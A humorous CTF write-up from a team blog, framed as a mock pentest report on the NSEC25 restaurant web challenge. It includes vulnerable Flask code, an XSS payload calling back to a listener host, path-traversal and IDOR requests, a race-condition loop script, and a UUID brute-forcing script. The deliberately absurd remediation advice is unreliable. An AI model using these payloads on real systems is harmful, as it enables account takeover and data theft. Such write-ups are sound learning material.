Hubert Hackin''
  • All posts
  • About
  • Our CTF

NSEC25 Disabling the Camera Operator - Mon, May 26, 2025 - Sideni

Give a man an exploit, and you have him flag once. Teach a man to search for vulnerabilities, and you have him down the rabbit hole for a lifetime... | Web | Nsec25

I’m just a mere pentester who’s been taught how to pentest and nothing else.

It’s just a game

Never have people been this wrong…

This is SERIOUS business and none shall tell me otherwise!

On joue

So… Let’s dig in the code we’ve been given, shall we?

Filename:

CVSS_bonsecours_restaurants_pentest_report_v1.0(final)(real_final)(still_some_notes).docx

Disclaimer

This pentest report is intended solely for CVSS’ Menoum Restaurants inc.; if you are not the intended audience, you must delete this document immediately and your email account.

Table of Content

  1. Executive Summary
  2. Scope of the Pentest
  3. Pentesting Techniques Used
    1. Reconnaissance
    2. Scanning and Enumeration
    3. Exploitation
    4. Reporting and Risk Analysis
  4. Insufficient Filtering on Base64 Pattern
  5. Stored XSS in Email Address
  6. Internal API Path Traversal
  7. Arbitrary Pleb User (like me) Email Change
  8. Prestigious User Email Change via Race Condition in Database Reset
  9. Denial of Service on the Message Endpoint
  10. Passwords Truncated With Long Emails
  11. Leak of Internal Source Code
  12. Order Approval IDOR via Predictible Order ID

0. Executive Summary

A pentest (not to be confused with testing pencils and pens) was conducted to evaluate the security of the target environment owned by CVSS’ Menoum Restaurants inc. Several vulnerabilities were identified, ranging from low to critical risk. Some issues could allow unauthorized access, system compromise, or more importantly, anaphylactic shock.

Immediate attention is recommended for high and critical findings, but mostly for anaphylactic shocks.

This report provides detailed results and remediation steps to improve overall security. It however skips on ways to remediate anaphylactic shocks. For more information on that topic, you might want to call 911.


1.0 Scope of the Pentest

The scope of this pentest was defined in collaboration with CVSS’ Menoum Restaurants inc. to assess the security posture of specified assets.

The engagement included testing of the following:

  • Target systems, applications, or IP ranges as outlined in the agreed-upon rules of engagement.
    1. The CVSS’ Menoum Restaurants website
    2. The internal API of the CVSS’ Menoum Restaurants website
    3. The database running on the CVSS’ Menoum Restaurants website
  • External and/or internal network infrastructure, web applications, and other relevant services as applicable.
  • Testing was conducted from an unauthenticated and authenticated perspective, simulating an attacker with limited access rights.

All testing activities were performed within the defined scope and during the agreed testing window (i.e. anytime except during the happy hour).


2.0 Pentesting Techniques Used

During the pentesting engagement (again, we have not tested pencils and pens; this should be considered as a blind spot), a variety of industry-standard techniques were employed to identify potential vulnerabilities and assess the overall security posture of the target environment. These techniques were aligned with widely accepted frameworks, including the OWASP Testing Guide, the MITRE ATT&CK framework, and the Pentesting Execution Standard (PTES). The testing approach included the following key phases:

2.1 Reconnaissance

The reconnaissance phase involved collecting publicly available information about the target systems, networks, and personnel. Techniques used included:

  • Passive Reconnaissance: Gathering intelligence without directly interacting with the target systems (e.g., WHOIS lookups, DNS enumeration, and open-source intelligence (OSINT) collection).
  • Active Reconnaissance: Interacting directly with the target to discover live hosts, open ports, and services (e.g., ping sweeps, port scanning using Nmap).

2.2 Scanning and Enumeration

Following reconnaissance, scanning and enumeration were conducted to map out the attack surface and identify potential entry points:

  • Port and Service Scanning: Identification of active services and their versions.
  • Vulnerability Scanning: Use of automated tools to detect known vulnerabilities.
  • Banner Grabbing and Service Fingerprinting: Collection of metadata to better understand software and service configurations.

Note to the reader: None of this was useful (but, it looks really good in a report) as we were provided with CVSS’ Menoum Restaurants inc.’s source code.

2.3 Exploitation

Where appropriate, exploitation was performed to validate the presence of vulnerabilities and assess their impact:

  • Manual and Automated Exploitation: Attempts to exploit discovered weaknesses in a controlled manner, using frameworks such as Metasploit or custom scripts.
  • Web Application Attacks: Testing for OWASP Top 10 vulnerabilities, including SQL injection, cross-site scripting (XSS), and insecure direct object references (IDOR).
  • Privilege Escalation: Efforts to gain higher-level access once initial footholds were established.

2.4 Reporting and Risk Analysis

Findings were documented with corresponding risk ratings based on likelihood and impact. Each vulnerability includes:

  • A technical description of the issue
  • Steps to reproduce (where applicable)
  • Evidence (e.g., screenshots, logs)
  • A proof of impact noted as “Personally Identifiable Flag” (PIF) (where applicable)
  • Remediation recommendations

3.0 Insufficient Filtering on Base64 Pattern

// REMOVE: I can’t say I’ve never felt this way…

3.1 Criticality

BONSECOURS:3.1: Medium (6.5)

3.2 Description

The endpoint menuid accessed via a GET request to /menu/<restaurantname> improperly restricts access to The Toplofty Estaminet restaurant allowing any plebs (like me) inside.

3.3 Analysis

The following code snippet shows how the menuid endpoint handles access to The Toplofty Estaminet for any plebs (like me). It basically checks if the restaurantname is “The Toplofty Estaminet” (base64-encoded) and if the current user is a pleb (like me).

@app.route('/menu/<restaurantname>')
menuid(restaurantname):
if session.get('email') is not None:
    if "VGhlIFRvcGxvZnR5IEVzdGFtaW5ldA==" in request.path and session.get('class') < 3:
        return render_template("nono.html", error='The Toplofty Estaminet caters to a refined audience. We regret to inform you that you are not part of this distiguished group.')
    name = base64.b64decode(restaurantname).decode('utf-8')
    if name == 'The Toplofty Estaminet':
        # Redacted
    if name == 'Plebian Chow':
        # Redacted
    else:
        return redirect(url_for('logout'))
else:
    return redirect(url_for('login'))

// REMOVE: Being a pleb myself, I find this very insulting…

Most base64 decoders are not strict on the data they decode and will simply skip over characters that aren’t part of the base64 encoding alphabet (i.e. [A-Za-z0-9/+=]). For that reason, it is possible to have the restaurant name decode to "The Toplofty Estaminet" without matching the base64-encoded value "VGhlIFRvcGxvZnR5IEVzdGFtaW5ldA==".

3.4 PoC

  1. When logged in as pleb (like me), access the following URL: http://restaurants.ctf:5000/menu/VGhlIFRvcGxvZnR5IEVzdGFtaW5ld*A==
  2. Observe that you can now order fancy delicacies // REMOVE: I would like to order them escargots with crème fraîche oui oui

With that, you can retrieve a PIF: FLAG-MenoumMenoumMenoum.

3.5 Remediation

Apply stricter access controls and do not rely on base64-encoded values for comparisons.


4.0 Stored XSS in Email Address

// REMOVE: I’m a pentester pentesting. I’m not sure I completely understand the way this game works…

4.1 Criticality

BONSECOURS:3.1: High (7.6)

4.2 Description

It is possible to store an XSS in a user’s email and trigger it when listing users/plebs (like me).

4.3 Analysis

As shown in the code below, the user’s email is taken as is and added to HTML. By setting the user’s email to <script>alert(1);</script>@example.com, the classical alert(1) will run on a victim’s browser.

@app.route('/users')
def listUsers():
    if session.get('email') is not None:
        users = query_db('select id, email from users');
        user_li = ''
        for i in range(0,len(users)):
            user_li = user_li + '<li>'+ str(users[i]['id']) + '| ' +users[i]['email']+'</li>'
        fl = '<ul>'+user_li+'</ul>'
        return render_template('users.html', users=fl)

4.4 PoC

  1. Use the /users/rename endpoint to set your user’s email to <script>alert(1);</script>@example.com
  2. Access the /users endpoint and observe the stored XSS XSS

Additional Information

In our analysis, the email was set to <img src="http://shell.ctf:1234/hey"/>@example.com.

At the same time, the port 1234 was opened on shell.ctf with the netcat command nc -6 -lnvp 1234 to listen for any requests potentially sent by bots.

Like most of my endeavours, this failed…

4.5 Remediation

It is recommended to encode user input before adding it to an HTML template.


5.0 Internal API Path Traversal

// REMOVE: Is it REALLY internal???

5.1 Criticality

BONSECOURS:3.1: Medium (6.5)

5.2 Description

The application uses an internal API and sends user controlled parameters to that API. Those parameters can be used to perform path traversals on the API to access other internal endpoints.

5.3 Analysis

The endpoint vulnerable to this path traversal is allergy2 which can be reached with a POST request to /users/allergy. This uses the aid body parameter to show the allergies of the logged in user.

@app.route('/users/allergy', methods=['POST'])
def allergy2():
    aid = request.form['aid']
    print('aid is' + aid)
    if session.get('email') is not None:
        path = 'http://127.0.0.1:8181/api/' + str(session.get('id')) + '/' + aid
        return requests.get(path).content
    else:
        return redirect(url_for('login'))

Because the aid parameter is simply appended to the API path, one can use this parameter to perform a path traversal and reach different API endpoints. It would be possible, for example, to access the allergies of a different user by setting aid to ../{user_id}/2.

5.4 PoC

  1. List the users/plebs (like me) with the /users endpoint
  2. Select the ID of the targetted user; for our example, let’s take ID 3015 for Rod McCarthy
  3. Send a POST request to /users/allergy with the body parameter aid set to ../3015/2 Path Traversal

This is leaking sensitive information about users’ allergies, mussels in this case, as well as leaking a PIF: FLAG-ShellFishShellCode.

5.5 Remediation

When using user input as path parameters to an API, the data must first be checked.


6.0 Arbitrary Pleb User (like me) Email Change

// REMOVE: I’ve always been told “One man’s trash is another man’s treasure”. I’m not sure I like this…

6.1 Criticality

BONSECOURS:3.1: High (7.1)

6.2 Description

It is possible to change any pleb’s (like me) email address (and password) by using the rename feature. An attacker could change the email of a victim to a controlled email address and wait for the password to be sent over email.

6.3 Analysis

As shown in the code snippet below, the renamepost endpoint expects the current user’s email as well as a newemail. It fails however to validate that the provided email is the one of the logged in user.

@app.route("/users/rename", methods = ['POST'])
def renamepost():
    email = request.form['email']
    class_value = query_db('SELECT class from users where email= ? LIMIT 1',  [email] )[0]['class']
    email_exists = query_db('SELECT id from users where email = ?',[request.form['newemail']])
    if len(email_exists) > 0 and not None:
        return render_template("nono.html", error='Email already exists')

The first check performed is to see if the provided newemail already exists in the database and if it does, an error is returned.

If it does not exist, the class of the user identified by email is verified to be a pleb (like me). In that case, the email is updated to newemail and the password is changed to a random one.

if class_value < 3:
        newemail = request.form['newemail']
        new_pass = ''.join(secrets.choice(alphabet) for i in range(30))
        finalpass=bcrypt.hashpw((newemail+new_pass).encode('utf-8'),salt)
        i_pass = finalpass.decode('utf-8');
        g.db.execute('update users set email = ?, password = ? where email = ?', [newemail, i_pass, email])
        g.db.commit()
        return render_template("nono.html", error='The new password will be emailed within 5 business days')
    else:
        return render_template("nono.html", error='Our VIP employees are very important. Please call our VIP line during business hours for a name change')

6.4 PoC

  1. List the users/plebs (like me) with the /users endpoint
  2. Select the email of the targetted user/pleb (like me); for our example, let’s take AHolmes@nsec.ctf
  3. Send a POST request to /users/rename with the body parameters email=AHolmes%40nsec.ctf and newemail=anything%40example.com
  4. List the users once again and observe that AHolmes’ email has been changed successfully to anything@example.com Email Rename

6.5 Remediation

When performing email changes, it is recommended to validate.


7.0 Prestigious User Email Change via Race Condition in Database Reset

// REMOVE: Still just pentesting and clearly, that’s what the designer wanted me to do, right?

7.1 Criticality

BONSECOURS:3.1: High (8.1)

7.2 Description

As shown in 6.0 Arbitrary Pleb User (like me) Email Change, it is possible to change other user’s email (and password) with some limitations. It is however possible to circumvent those limitations by using a race condition that exists with the reset endpoint. This effectively allows to change the email of any prestigious user.

// REMOVE: mmm yes quite, fancy is my second name

7.3 Analysis

The reset endpoint is fairly simple as shown in the code snippet below. It simply rebuilds the repast database by running the schema.sql script.

@app.route('/reset')
def reset():
    os.system('sqlite3 repast.db < schema.sql')
    return 'DB has been reset'

The schema.sql script most likely runs a series of inserts in the database like such:

INSERT INTO users (id, email, password, class) VALUES (1, 'test@example.com', 'some_hash', 3);
INSERT INTO users (id, email, password, class) VALUES (2, 'test2@example.com', 'some_hash', 1);
INSERT INTO users (id, email, password, class) VALUES (3, 'test3@example.com', 'some_hash', 1);
...

For that reason, the database is gradually filled with the same users as before the reset was launched. This means there is a moment at which the user with ID 1 will be in the database, but where the user with ID 3015 won’t be.

Given this, it is possible to bypass the check on email_exists when changing a user’s email.

    email_exists = query_db('SELECT id from users where email = ?',[request.form['newemail']])
    if len(email_exists) > 0 and not None:
        return render_template("nono.html", error='Email already exists')

With this, when the database reset will have finished, a pleb user (like me) could have the same email as a prestigious and fancy user.

From there, because of the WHERE clause shown below, changing that pleb user’s (like me) email will also change the prestigious user’s email.

        g.db.execute('update users set email = ?, password = ? where email = ?', [newemail, i_pass, email])

7.4 PoC

  1. Choose a pleb user (like me) close to the start of the users list (e.g. AHolmes@nsec.ctf)
  2. Select the email of the targetted prestigious user; for our example, let’s take RMcCarthy@nsec.ctf
  3. Start an infinite loop doing the email change from AHolmes@nsec.ctf to RMcCarthy@nsec.ctf. Something like:
import requests

session = requests.Session()

while True:
    paramsPost = {"newemail":"RMcCarthy@nsec.ctf","email":"AHolmes@nsec.ctf"}
    headers = {"Content-Type":"application/x-www-form-urlencoded"}
    cookies = {"session":"eyJjbGFzcyI6MSwiZW1haWwiOiJKTWNQaGVyc29uQG5zZWMuY3RmIiwiaWQiOjV9.aDSqtA.fQgeaTj8lia9Mo3qjPmEB5I-igg"}
    response = session.post("http://restaurants.ctf:5000/users/rename", data=paramsPost, headers=headers, cookies=cookies)

    print("Status code:   %i" % response.status_code)
    print("Response body: %s" % response.content)
  1. Launch the database reset by accessing the /reset endpoint
  2. Wait for seeing the email change successfully
Status code:   500
Response body: b'...500 Internal Server Error...'

Status code:   200
Response body: b'...The new password will be emailed within 5 business days...'

Status code:   500
Response body: b'...500 Internal Server Error...'
  1. Finally, change the email of RMcCarthy@nsec.ctf to anything@example.com via the /users/rename endpoint
  2. List the users once again and observe that Rob McCarthy’s email has been changed successfully to anything@example.com Race Condition

Additional Information

Note that when logging in, only the first result is used to build the session.

    realpass = query_db('select id, class, password from users where email = ?', [email])
    if len(realpass) > 0 and not None:
        fullpass =  realpass[0]['password']
        if fullpass == p_pass:
            session['email'] = email
            session['id'] = realpass[0]['id']
            session['class'] = realpass[0]['class']
            return redirect(url_for('main'))

For that reason, if the new password was known, it would not directly be possible to login as someone more prestigious than pleb (like me).

// REMOVE:

Such is the harsh reality of life

– Rao

7.5 Remediation

Speed limits should be enforced to avoid race conditions.


8.0 Denial of Service on the Message Endpoint

// REMOVE: This would be bad for the reputation of CVSS’ Menoum Restaurants inc., people gotta eat!

8.1 Criticality

BONSECOURS:3.1: Medium (4.3)

8.2 Description

Ordered items can be seen in the message endpoint. When ordering inexistent items, the message endpoint becomes unusable allowing an attacker to cause a denial of service on the message endpoint of other users/plebs (like me).

8.3 Analysis

With the orderStep3 endpoint (i.e. /menu/confirm), it is possible to order items on behalf of other users/plebs (like me).

The endpoint fails however at validating the item ordered. The following code snippet shows that the ordered item is directly added to the ORDERS table.

@app.route('/menu/confirm', methods=['POST'])
def orderStep3():
    if session.get('email') is not None:
        item = int(request.form['order'])
        rcpt = int(request.form['users'])
        path = 'http://127.0.0.1:8181/api/' +str(rcpt) + '/1'
        result = requests.get(path).content
        tr = result.decode('utf-8')
        if tr == 'NO':
            con = sqlite3.connect('repast.db')
            cur = con.cursor()
            con.execute('INSERT INTO ORDERS(rcpt_id, item_id, Approved) VALUES(?,?,1)',(rcpt,item))

With an invalid item ID inserted, the message endpoint becomes unusable (i.e. error 500). As shown in the code below, if an invalid item ID is used, the item_name will be None. For that reason, the line item_name[0]['Item'] will cause an exception.

            item_name = query_db('SELECT Item from menu where item_id = ?',[int(orders[x]['item_id'])])
            messages = messages + '<ul> '+ str(item_name[0]['Item']) + '</ul>'

8.4 PoC

  1. Send a POST request to /menu/confirm with the body parameters order=7763&users={your_user_id}
  2. Try accessing the page /message and observe an error 500

8.5 Remediation

It is recommended to duplicate the web application to avoid availability issues.


9.0 Passwords Truncated with Long Emails

// REMOVE: I’m technically not allowed to say where I’ve also seen this, but I’ve seen it…

9.1 Criticality

BONSECOURS:3.1: High (8.1)

9.2 Description

When logging in, the application combines the provided email and password, and hashes the result. This hash is compared to the value stored in the database to log in the user/pleb (like me). The hashing algorithm however truncates silently the input to 72 bytes which allows an attacker to log in with any account that has a 72 bytes email or longer without knowing the password.

9.3 Analysis

As shown in the code snippet below, the hash algorithm bcrypt is used to hash the concatenated email + password. Wikipedia and other resources online will tell you that many implementations of bcrypt truncate the password to the first 72 bytes. This is indeed the case for the used bcrypt module.

@app.route("/users/login", methods = ['POST'])
def loginpost():
    email = request.form['email']
    password = request.form['password']
    temppass = bcrypt.hashpw((email+password).encode('utf-8'),salt)
    p_pass = temppass.decode('utf-8')


    realpass = query_db('select id, class, password from users where email = ?', [email])
    if len(realpass) > 0 and not None:
        fullpass =  realpass[0]['password']
        if fullpass == p_pass:

As seen with 6.0 Arbitrary Pleb User (like me) Email Change, it is possible to change other user’s email (and password). The password is generated randomly and is not known, but this information is not required as the email can be set to 72 bytes or more.

9.4 PoC

  1. Just like in 6.0 Arbitrary Pleb User (like me) Email Change, select the email of the targetted user/pleb (like me); for our example, let’s take GNash@nsec.ctf
  2. Send a POST request to /users/rename with the body parameters email=GNash%40nsec.ctf and newemail=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%40example.com
  3. In a new browser session, log in as AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@example.com with any password
  4. Observe the presence of a PIF: FLAG-mTKmrCUzf82LPdmK7x8yxpcAlo0R3hsF

9.5 Remediation

To avoid data truncation, it is recommended to allow emails and passwords of at most 8 characters.

Note: This is future proof as it will still work if a newer bcrypt version ends up truncating at 57 or 42 bytes.


10.0 Leak of Internal Source Code

// REMOVE: I’m starting to realize I’ll also be pentesting on Tuesday at work…

10.1 Criticality

BONSECOURS:3.1: Medium (6.5)

10.2 Description

The internal API being accessible via 5.0 Internal API Path Traversal, it is possible to get the internal API source code by accessing the endpoint ../../static/app.backup.

10.3 Analysis

As described in 5.0 Internal API Path Traversal, reaching the internal /admin endpoint by setting aid to ../../admin will show the following HTML comment (note: because this is Flask /admin/ will return a 404).

<!-- full source can be accessed on /static/app.backup -->

With that information, the internal API source code can be recovered.

Source code recovered

10.4 Remediation

It is recommended to open source the code on a platform like GitHub to avoid any impact of internal source code leaks.


11.0 Order Approval IDOR via Predictible Order ID

// REMOVE: With the combined vulns, we can end this destructive pentest and bring orders to the galaxy!

11.1 Criticality

BONSECOURS:3.1: Medium (6.5)

11.2 Description

When ordering a meal to someone with allergies, an admin must first approve the order by specifying the order ID. This ID is however predictible and can be used by an attacker to approve an order on behalf of an actual admin.

11.3 Analysis

As shown in the code snippet below, the uuid.uuid1 method is used to generate the order ID.

@app.route('/menu/confirm', methods=['POST'])
def orderStep3():
    if session.get('email') is not None:
        item = int(request.form['order'])
        rcpt = int(request.form['users'])
        path = 'http://127.0.0.1:8181/api/' +str(rcpt) + '/1'
        result = requests.get(path).content
        tr = result.decode('utf-8')
        if tr == 'NO':
            # Redacted
        if tr == 'YES':
            uu = str(uuid.uuid1(clock_seq=11011510199))
            con = sqlite3.connect('repast.db')
            cur = con.cursor()
            con.execute('INSERT INTO ORDERS(rcpt_id, item_id, Approved, uuid ) VALUES(?,?,0,?)',(rcpt,item,uu))
            con.commit()
            return render_template('confirm.html',message="This person has allergies. Your order will be deliverd once an admin approves")

This uuid.uuid1 method generates a UUID based on the host ID, the sequence number, and the current time. As mentioned in the documentation, the sequence number is taken from clock_seq.

If clock_seq is given, it is used as the sequence number; otherwise a random 14-bit sequence number is chosen.

For that reason, the only variation is the current time and can be guessed.

With the guessed UUID, it is possible to use the internal API endpoint /admin/approve/<uuid> to approve the order. The code snippet below shows that this endpoint only requires to know the order ID.

@app.route('/admin/approve/<uuid>')
def finalApprove(uuid):
    con = sqlite3.connect('../repast/repast.db')
    cur = con.cursor()
    con.execute('UPDATE orders set Approved=1 where uuid=?',[uuid])
    con.commit()
    return render_template('admin_a.html',msg="<h1>Your Order has been Approved </h1>")

11.4 PoC

  1. With the /menu/confirm endpoint, order an item to someone with allergies; for our example, let’s order mussels to Rob McCarthy
  2. The UUID can be guessed with the following code snippet by providing the proper parameters to the uuid1 method (Thanks to my teammates Klammydia, nic-lovin, and fob.)
import uuid


def UUIDTime(u):
    dt_zero = datetime.datetime(1582, 10, 15)
    return dt_zero + datetime.timedelta(microseconds=u.time//10)


# Taken from Python's UUID library
def uuid1(node, clock_seq, timestamp):
    """Generate a UUID from a host ID, sequence number, and the current time.
    If 'node' is not given, getnode() is used to obtain the hardware
    address.  If 'clock_seq' is given, it is used as the sequence number;
    otherwise a random 14-bit sequence number is chosen."""

    time_low = timestamp & 0xffffffff
    time_mid = (timestamp >> 32) & 0xffff
    time_hi_version = (timestamp >> 48) & 0x0fff
    clock_seq_low = clock_seq & 0xff
    clock_seq_hi_variant = (clock_seq >> 8) & 0x3f
    return uuid.UUID(fields=(time_low, time_mid, time_hi_version,
                             clock_seq_hi_variant, clock_seq_low, node), version=1)
  1. To automate the process, the time can be iterated on with this additionnal code snippet
def poke(u):
    data = {'aid': './.././../admin/approve/' + str(u)}
    resp = requests.post('http://restaurants.ctf:5000/users/allergy', data=data, cookies=cookies, proxies=proxies)

    print(u, resp.status_code, len(resp.text))

proxies={'http': 'http://localhost:8080/'}
cookies = {'session': 'eyJjbGFzcyI6MSwiZW1haWwiOiJKTWNQaGVyc29uQG5zZWMuY3RmIiwiaWQiOjV9.aCf20g.qRRpLwRVqGey6QnUSdgnXjY-q4I'}

u = uuid.UUID('f3ceb973-3408-11f0-8fb7-00163e63c61e')

time = u.time
prev = u
while True:
    time -= 1
    nu = uuid1(u.node, u.clock_seq, time)
    if nu != prev:
        poke(nu)
  1. After a while, the order should have been approved
  2. Return to the home page and observe the presence of another PIF
    1. It probably looked something like FLAG-AnEpipenIsAlwaysAMustHave!

11.5 Remediation

To avoid IDORs, it is recommended to avoid using IDs.

Conclusion

I’d give The Toplofty Estaminet a perfect 5/7!

Back to Home


Hackez la Rue! | © Hubert Hackin'' | 2025-05-29 | theme hugo.386